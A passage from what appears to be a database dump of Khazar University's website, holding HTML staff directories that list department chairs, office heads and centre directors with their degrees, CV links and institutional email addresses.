Zeynalov</a></em>, Ph.D., chair, <a href=\"mailto:Gzeynalov@khazar.org\">gzeynalov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/125/economics_and_management\">Economics and Management</a></strong></p><p><em><a href=\"http://www.khazar.org/files/demo/JMammadov_CV.pdf\">Jeyhun Mammadov</a></em>, Ph.D., chair,&nbsp;<a href=\"mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/126/education\">Education</a></strong></p><p><em><a href=\"http://www.khazar.org/files/edu_depart/Goshgar_-_CV_.PDF\">Goshgar Maharramov</a></em>, Ph.D., coordinator,&nbsp;<a href=\"mailto:gmaharramov@khazar.org\">gmaharramov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/117/azerbaijani_language_and_literature\">Azerbaijani Language and Literature</a></strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/pdf/CV_Vurgun_Eyyub.pdf\">Vurgun Eyyub</a></em>, Ph.D., Associate professor, chair,&nbsp;<a href=\"mailto:veyyub@khazar.org\">veyyub[at]khazar.org</a>&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/mfe/Languages%20and%20Cultures\">Languages and Cultures</a></strong></p><p><em><a href=\"http://www.khazar.org/files/languages_depart/CV%20Zivar%20Huseynli.english.pdf\">Zivar Huseynli Baylan</a></em>, Ph.D., coordinator,&nbsp;<a href=\"mailto:zhuseynli@khazar.org\">zhuseynli[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/127/english_language_and_literature\">English Language and Literature</a></strong></p><p><em><a href=\"http://www.khazar.org/files/eng_depart/CV/eynur_mehdiyev_cv.pdf\">Eynur Mehdiyev</a></em>, MA, vice&nbsp;chair,&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a>  </p>  <p><br></p><p><a href=\"http://www.khazar.org/en/menus/119/biological_sciences\"><strong>Biological Sciences</strong></a></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\">Irada Khalilova</a></em>, Ph.D., Associate research&nbsp;professor,&nbsp;chair,&nbsp;<a href=\"mailto:ikhalilova[at]khazar.org\">ikhalilova[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/130/history_and_archaeology\">History and Archaeology</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/130/history_and_archaeology\"></a></strong><em><a href=\"http://www.khazar.org/files/history_depart/R.A.pdf\">Roza Arazova</a></em>, Ph.D., Associate Professor, chair,&nbsp;<a href=\"mailto:rarazova[at]khazar.org\">rarazova[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/129/geography_and_environment\">Geography and Environment</a></strong></p><p><em><a href=\"http://www.khazar.org/files/geography_depart/NewFolder/CV_Rovshan%20Abbasov2017.pdf\">Rovshan Abbasov</a></em>, Ph.D., chair,&nbsp;<a href=\"mailto:rabbasov[at]khazar.org\">rabbasov[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/131/journalism\">Jorunalism</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Jabir_Mammadov-Last-Updated.pdf\">Jabir Mammadli</a></em>, MS, coordinator,&nbsp;<a href=\"mailto:cmammadli[at]khazar.org\">cmammadli[at]khazar.org</a></p><p><br></p><p><strong><a href=\"mailto:http://www.khazar.org/en/menus/132/law\">Law</a></strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Cabir Khalilov</a></em>, Ph.D., Associate Professor, chair,&nbsp;<a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/137/philosophy_and_sociology\">Philosophy and Sosiology</a></strong></p><p><em><a href=\"http://www.khazar.org/files/philosophy_depart/%C6%8FSAS%20Eldar%20%C5%9Eahg%C9%99ldiyev%20-elmi%20n%C9%99%C5%9Frl%C9%99r-dekabr%202017_1.pdf\">Eldar Shahgaldiyev</a></em>, Ph.D., Associate professor,&nbsp;chair,&nbsp;<a href=\"mailto:eshahgaldiyev[at]khazar.org\">eshahgaldiyev[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/138/political_science_and_international_relations\">Political Science and International Relations</a></strong></p><p><em><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20_CV.pdf\">Elmar Mustafayev</a></em>, Ph.D., coordinator, <a href=\"mailto:elmar.mustafayev[at]khazar.org\">elmar.mustafayev[at]khazar.org</a>  </p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/139/psychology\">Psychology</a>&nbsp;</strong></p><p><em><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\">Ulkar Isayeva</a></em>, MS, head, <a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a>  </p><p><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\"><em>Melek Kerimova</em></a>&nbsp;MS, coordinator,&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/135/music_and_fine_arts\">Music and Fine Arts</a></strong></p><p><em><a href=\"http://www.khazar.org/en/menus/625/zulfiyya_sadigova\">Zulfiya Sadigova</a></em>, MS, coordinator,&nbsp;<a href=\"mailto:zsadigova[at]khazar.org\">zsadigova[at]khazar.org</a></p><p><br></p><p><br></p><h3>Administrative Offices</h3><div><br></div><p><strong><a href=\"http://www.khazar.org/en/menus/870/human_resources\">Human Resources Department</a></strong></p><p><em><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\">Ulkar Isayeva</a></em>, MS, director, <a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a>    </p><p><a href=\"http://www.khazar.org/files/letters/CV_resume_ozal_to_publish.pdf\" style=\"font-style:italic\">Ozal Mammadli</a><em>, </em>MS,&nbsp;manager,&nbsp;<a href=\"mailto:ommadli@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\">ommadli[at]khazar.org</a>  <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/882/public_relations_media_office\">Public Relations and Media Office</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/alovsat_a.pdf\">Alovsat Amirbeyli</a></em>, MS, director, <a href=\"mailto:aamirbeyli[at]khazar.org\">aamirbeyli[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/875/registration_and_record_office\">Registration and Record Office</a>&nbsp;</strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Jeyhun_Isayev_CV.pdf\">Jeyhun Isayev</a></em>, BBA, head, <a href=\"mailto:http://www.khazar.org/az/menus/875/qeydiyyat_ve_informasiya_shobesi\">iceyhun[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1246/qebul_ve_telebe_shobesi\">Admission and Information Office</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Lamiya_Namazova_CV.pdf\">Lamia Namazova</a></em>, MBA, head, <a href=\"mailto:lnamazova@khazar.org\">lnamazova[at]khazar.org</a>    </p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">International Affairs Office</a>&nbsp;</strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/Turan_Jafarova%20cv.pdf\">Turan Jafarova</a>, </em>MA,&nbsp;<a href=\"mailto:tjafarova@khazar.org\">tjafarova[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/886/personnel_office\">Personnel Office</a></strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/letters/Aybeniz_Namazova_CV(5).pdf\">Aybeniz Namazova</a></em>, BBA, coordinator, <a href=\"mailto:anamazova@khazar.org\">anamazova[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/887/financial_office\">Financial Office</a></strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/letters/Nagi_Bayramli_cv.pdf\">Nagi Bayramli</a></em>, MBA, director, <a href=\"mailto:nbayramli@khazar.org\">nbayramli[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/888/accounting_office\">Accounting Office</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_Emin%20Beylerov_ENG.pdf\">Emin Baylarov</a></em>, MS,&nbsp;chief accountant, <a href=\"mailto:bemin@khazar.org\">bemin[at]khazar.org</a>    </p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/1231/information_technology_office\">Information Technology Office</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_Musayev_Farid-aze.pdf\">Farid Musayev</a></em>, MS, head, <a href=\"mailto:farid@khazar.org\">farid[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1245/information_systems_office\">Information Systems Office</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_Rashad_ENGv4.pdf\">Rashad Khaligov</a></em>, MS, head, <a href=\"mailto:rkhaligov@khazar.org\">rkhaligov[at]khazar.org</a>    </p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/1249/temir_tikinti_shobesi\">Repair and Construction Office</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Shahin_Isayev_CV%20(1).pdf\">Shahin Isayev</a></em>, MS, manager, <a href=\"mailto:shisayev@khazar.org\">shisayev[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1248/maintenance_office\">Maintenance Office</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Malayka_Huseynova_CV.pdf\">Malayka Huseynova</a></em>, MS, manager, <a href=\"mailto:mhuseynova@khazar.org\">mhuseynova[at]khazar.org</a>    </p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/en/menus/70/khazar_university_press\"><strong>Khazar University Press</strong></a></p><p><em>Zakir Yusifoglu</em>, MS, director, <a href=\"mailto:zyusifoglu@khazar.org\">zyusifoglu[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/889/printing_house\">Printing House</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Rufat_Isayev_CV.pdf\">Rufat Isayev</a></em>, MS, director, <a href=\"mailto:risayev@khazar.org\">risayev[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/897/canteen\">Canteen</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/samira_mammadova_cv.pdf\">Samira Mammadova</a></em>, head<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/894/the_health_care_center\">Health Care Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Leyla_Camilzade_CV.pdf\">Leyla Cemilzade</a></em>, MD, head physician, <a href=\"mailto:lcemilzade@khazar.org\">lcemilzade[at]khazar.org</a>    </p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/101/khazar_psychology_counselling_center\">Khazar Psychology Counselling&nbsp;Center</a>&nbsp;</strong></p><p><em><a href=\"http://www.khazar.org/files/psycho_depart/CV%20MELEK%20KERIMOVA%20sons.pdf\">Melek Kerimova</a></em>, director,&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/89/development_center\">Development Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziya Isayeva</a><a href=\"http://www.khazar.org/files/Raziya_Isayeva__CV.doc\"></a></em>, MS, director, <a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/100/multimedia_center\">Multimedia Center</a></strong>&nbsp;</p><p><em><a href=\"http://old.khazar.org/files/Natella%20Barkaya%20CV.pdf\">Natella Barkaya</a></em>, MS, director,&nbsp;<a href=\"mailto:media-center@khazar.org\">media-center[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/424/internet_education_center\">Internet Education Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Mahammad Sharifov</a></em>,&nbsp;Ph.D., director,&nbsp;<a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/103/career_development_center\">Career Center</a></strong></p><p><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><em>Sabina Allahveranova</em></a><em>,&nbsp;</em>manager,&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp; &nbsp; &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/99/library_and_information_center\">Library and Information Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></em>, Ph.D., director, <a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a></p><p><br></p><h3>Heads of Institutes and Centers</h3><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/96/institute_of_education_policy\">Institute of Education Policy</a></strong></p><p><em><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\">Hamlet Isakhanli</a></em>, DS, Professor,&nbsp;<a href=\"mailto:hamlet@khazar.org\">hamlet[at]khazar.org</a>       </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/92/assembly_of_science_and_art\">Assembly of Science and Art</a></strong></p><p><em><em><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\"></a></em></em><em><a href=\"http://www.khazar.org/files/letters/alovsat_a.pdf\">Alovsat Amirbeyli</a></em>, MS, director,&nbsp;<a href=\"mailto:aamirbeyli[at]khazar.org\">aamirbeyli[at]khazar.org</a>  <a href=\"mailto:hamlet[at]khazar.org\"></a>  <a href=\"mailto:hamlet@khazar.org\"></a>  <a href=\"mailto:hamlet[at]khazar.org\"></a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/95/eurasia_extractive_industries_knowledge_hub\">Eurasia Production Industry Knowledge Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/demo/IngilabAhmadovCV1%20(2).pdf\">Ingilab Ahmadov</a></em>, DS, Professor, director, <a href=\"mailto:ingilab@khazar.org\">ingilab[at]khazar.org</a>   &nbsp; &nbsp; &nbsp; &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/93/legal_education_center\">Legal Education Center</a></strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Jabir Khalilov</a></em>, Ph.D., Associate Professor, director, <a href=\"mailto:cxalilov@khazar.org\">cxalilov[at]khazar.org</a>  &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/89/development_center\">Development Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziya Isayeva</a></em>, MS, director, <a href=\"mailto:risayeva[at]khazar.org\">risayeva[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/94/dictionary_and_encyclopedia_center\">Dictionary and Encyclopedia Center</a></strong></p><p><a href=\"http://www.khazar.org/files/letters/CV-Gunel_Shukurova.pdf\">Gunel Shukurova</a><em>,&nbsp;</em>MS,&nbsp;Editor assistant,&nbsp;<a href=\"mailto:gshukurova@khazar.org\">gshukurova[at]khazar.org</a>&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/99/library_and_information_center\">Library and Information Center</a></strong></p><p><em><a href=\"http://library.khazar.org/files/Aytaj%20CV%20new.doc\"></a></em><em><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></em>, Ph.D., director,&nbsp;<a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a>         </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/100/multimedia_center\">Multimedia Center</a></strong>&nbsp;</p><p><em><a href=\"http://old.khazar.org/files/Natella%20Barkaya%20CV.pdf\">Natella Barkaya</a></em>, MS, director, <a href=\"mailto:media-center[at]khazar.org\">media-center[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/101/khazar_psychology_counselling_center\">Khazar Psychology Counselling&nbsp;Center</a>&nbsp;</strong></p><p><em><a href=\"http://www.khazar.org/files/psycho_depart/CV%20MELEK%20KERIMOVA%20sons.pdf\">Melek Kerimova</a></em>, director, <a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>      </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/97/quality_assurance_center\">Quality Assurance Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\">Lyudmila Sotova</a></em>, MS, director, <a href=\"mailto:lsotova@khazar.org\">lsotova[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/103/career_development_center\">Career Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\">Sabina Allahveranova</a></em>, manager, <a href=\"mailto:sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/424/internet_education_center\">Internet Education Center</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Mahammad Sharifov</a></em>,&nbsp;Ph.D., director,&nbsp;<a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a>    </p><p><strong><br></strong></p><a href=\"http://www.khazar.org/en/menus/105/huceyre_patologiyasi_tedqiqat_merkezi\"><strong>Center for Cell Pathology Research  </strong></a><br><p><em><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\">Irada Khalilova</a></em>, Ph.D., Associate research&nbsp;professor,&nbsp;chair,&nbsp;<a href=\"mailto:ikhalilova@khazar.org\">ikhalilova@khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/91/migration_competence_center\">Migration Competence Center</a></strong><strong></strong></p><p><em><a href=\"http://www.khazar.org/files/demo/JMammadov_CV.pdf\">Jeyhun Mammadov</a></em>, Ph.D., director,&nbsp;<a href=\"mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a>  <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/786/center_for_students_with_disabilities\">Center for Students with Disabilities</a></strong></p><p><br></p><p><strong>Digital Media Center (<a href=\"http://www.khazar.org/en/menus/75/khazar_university_radio\">Radio Khazar</a>)</strong></p><p><em>Alik Alioglu</em>, BS, coordinator, <a href=\"mailto:aalioglu@khazar.org\">aalioglu[at]khazar.org</a></p>'),(67,74,'en','Administrative Offices','Administrative Offices','<p><a href=\"http://www.khazar.org/en/menus/870/_human_resources\"></a></p><h3>Heads of Academic Departments</h3><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/117/azerbaijani_language_and_literature\">Azerbaijani Language and Literature</a></strong></p><p><strong></strong><em>Vurgun Eyyub</em>, Ph.D., Associate Professor, chair,&nbsp;<a href=\"mailto:veyyub[at]khazar.org\">veyyub[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/136/petroleum_engineering\">Petroleum Engineering</a></strong></p><p><em>Gasham Zeynalov</em>, Ph.D., chair,&nbsp;<a href=\"mailto:Gzeynalov[at]khazar.org\">gzeynalov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/121/civil_engineering\">Civil Engineering</a></strong></p><p><em>Rasim Bayramli</em>, Ph.D., Associate Professor, chair,&nbsp;<a href=\"mailto:rbayramli[at]khazar.org\">rbayramli[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/128/electronics_and_telecommunications\">Electronics and&nbsp;Telecommunications</a></strong></p><p><em>Nuru Safarov</em>, Ph.D., chair,&nbsp;<a href=\"mailto:nsafarov[at]khazar.org\">nsafarov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/133/mathematics\">Mathematics</a></strong></p><p><em>Ali Huseynli,&nbsp;</em>Ph.D., chair,&nbsp;<a href=\"mailto:ahuseynli[at]khazar.org\">ahuseynli[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/123/computer_sciences_and_computer_engineering\">Computer Sciences&nbsp;and Computer Engineering</a></strong></p><p><em>Mahammad Sharifov</em>,&nbsp;Ph.D., chair,&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a></p><p><br></p><p><a href=\"http://www.khazar.org/en/menus/1105/mechanical_engineering\"><strong>Mechanical&nbsp;Engineering</strong></a></p><p><em>Mirsadegh Seyedzavvar,&nbsp;</em>Ph.D., coordinator,&nbsp;<a href=\"mailto:mseyedzavvar[at]khazar.org\">mseyedzavvar[at]khazar.org</a>&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/122/chemical_engineering_and_chemistry\">Chemical Engineering and Chemistry</a></strong></p><p><em>Rasoul Moradi</em>,&nbsp;Ph.D.,&nbsp;coordinator,&nbsp;<a href=\"mailto:rmoradi[at]khazar.org\">rmoradi[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/130/history_and_archaeology\">History and&nbsp;</a></strong><strong><a href=\"http://www.khazar.org/en/menus/130/history_and_archaeology\">Archeology</a></strong></p><p><em>Roza Arazova</em>, Ph.D., Associate Professor, chair,&nbsp;<a href=\"mailto:rarazova[at]khazar.org\">rarazova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/127/english_language_and_literature\">English Language and Literature</a></strong></p><p><em>Bahman Amani</em>, Ph.D., chair,&nbsp;<a href=\"mailto:bamani[at]khazar.org\">bamani[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/135/music_and_fine_arts\">Music and Fine Arts</a></strong></p><p><em>Zulfiya Sadigova</em>, MS, coordinator,&nbsp;<a href=\"mailto:zsadigova[at]khazar.org\">zsadigova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"mailto:http://www.khazar.org/en/menus/132/law\">Law</a></strong>&nbsp;</p><p><em>Cabir Khalilov</em>, Ph.D., Associate Professor, chair,&nbsp;<a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/mfe/Languages%20and%20Cultures\">Languages and Cultures</a></strong></p><p><em>Zivar Huseynli Baylan</em>, Ph.D., coordinator,&nbsp;<a href=\"mailto:zhuseynli[at]khazar.org\">zhuseynli[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/119/biological_sciences\">Biological Sciences</a></strong></p><p><em>Irada Khalilova</em>, Ph.D., chair,&nbsp;<a href=\"mailto:ikhalilova[at]khazar.org\">ikhalilova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/125/economics_and_management\">Economics and Management</a></strong></p><p><em>Jeyhun Mammadov</em>, Ph.D., chair,&nbsp;<a href=\"mailto:jmammadov[at]khazar.org\">jmammadov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/138/political_science_and_international_relations\">Political Science and International Relations</a></strong></p><p><em>Elmar Mustafayev</em>, Ph.D., coordinator,&nbsp;<a href=\"mailto:elmar.mustafayev[at]khazar.org\">elmar.mustafayev[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/137/philosophy_and_sociology\">Philosophy and Sosiology</a></strong></p><p><em>Eldar Shahgaldiyev</em>, Ph.D., Associate professor,&nbsp;chair,&nbsp;<a href=\"mailto:eshahgaldiyev[at]khazar.org\">eshahgaldiyev[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/131/journalism\">Journalism</a></strong></p><p><em>Jabir Mammadli</em>, MS, coordinator,&nbsp;<a href=\"mailto:cmammadli[at]khazar.org\">cmammadli[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/126/education\">Education</a></strong></p><p><em>Goshgar Maharramov</em>, Ph.D., coordinator,&nbsp;<a href=\"mailto:gmaharramov[at]khazar.org\">gmaharramov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/129/geography_and_environment\">Geography and Environment</a></strong></p><p><em>Rovshan Abbasov</em>, Ph.D., chair,&nbsp;<a href=\"mailto:rabbasov[at]khazar.org\">rabbasov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/139/psychology\">Psychology</a>&nbsp;</strong></p><p><em>Ulkar Isayeva</em>, MS, coordinator,&nbsp;<a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a></p><div><br></div><div><br></div><h3>Heads of Administrative Offices</h3><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/870/human_resources\">Human Resources Department</a></strong></p><p><em>Ulkar Isayeva</em>, MS, director,&nbsp;<a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/882/public_relations_media_office\">Public Relations and Media Office</a></strong></p><p><em>Alovsat Amirbeyli</em>, MS, director,&nbsp;<a href=\"mailto:aamirbeyli[at]khazar.org\">aamirbeyli[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/875/registration_and_record_office\">Registration and Record Office</a>&nbsp;</strong></p><p><em>Jeyhun Isayev</em>, BBA, head,&nbsp;<a href=\"mailto:http://www.khazar.org/az/menus/875/qeydiyyat_ve_informasiya_shobesi\">iceyhun[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Admission and Information Office</strong></p><p><em>Lamiya Namazova</em>, MBA, head,&nbsp;<a href=\"mailto:lnamazova[at]khazar.org\">lnamazova[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">International Affairs Office</a>&nbsp;</strong></p><p><em>Turan Jafarova,&nbsp;</em>MA,&nbsp;<a href=\"mailto:tjafarova[at]khazar.org\">tjafarova[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/886/personnel_office\">Personnel Office</a></strong></p><p><strong></strong><em>Aybeniz Namazova</em>, BBA, coordinator,&nbsp;<a href=\"mailto:anamazova[at]khazar.org\">anamazova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/887/financial_office\">Financial Office</a></strong></p><p><strong></strong><em>Nagi Bayramli</em>, MBA, director,&nbsp;<a href=\"mailto:nbayramli[at]khazar.org\">nbayramli[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/888/accounting_office\">Accounting Office</a></strong></p><p><em>Emin Baylarov</em>, MS,&nbsp;Chief accountant,&nbsp;<a href=\"http://mailto%3Bbemin[at]khazar.org/\">bemin[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Administrative Office</strong></p><p><em>Faig Mammadov</em>, MS, coordinator,&nbsp;<a href=\"mailto:fmammadov[at]khazar.org\">fmammadov[at]khazar.org</a><a href=\"mailto:fmammadov[at]khazar.org\"></a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1231/information_technology_office\">Information Technology Office</a></strong></p><p><em>Farid Musayev</em>, MS, head,&nbsp;<a href=\"mailto:farid[at]khazar.org\">farid[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Information Systems Office</strong></p><p><em>Rashad Khaligov</em>, MS, head,&nbsp;<a href=\"mailto:rkhaligov[at]khazar.org\">rkhaligov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Procurement Office</strong></p><p><em></em><em>Agshin Valiyev</em>, MS, manager,&nbsp;<a href=\"mailto:aveliyev[at]khazar.org\">aveliyev[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Repair and Construction Office</strong></p><p><em>Shahin Isayev</em>, MS, manager,&nbsp;<a href=\"mailto:shisayev[at]khazar.org\">shisayev[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Maintenance Office</strong></p><p><em>Malahat Huseynova</em>, MS, manager,&nbsp;<a href=\"mailto:mhuseynova[at]khazar.org\">mhuseynova[at]khazar.org</a></p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/en/menus/70/khazar_university_press\"><strong>Khazar University Press</strong></a></p><p><em>Zakir Yusifoglu</em>, MS, director,&nbsp;<a 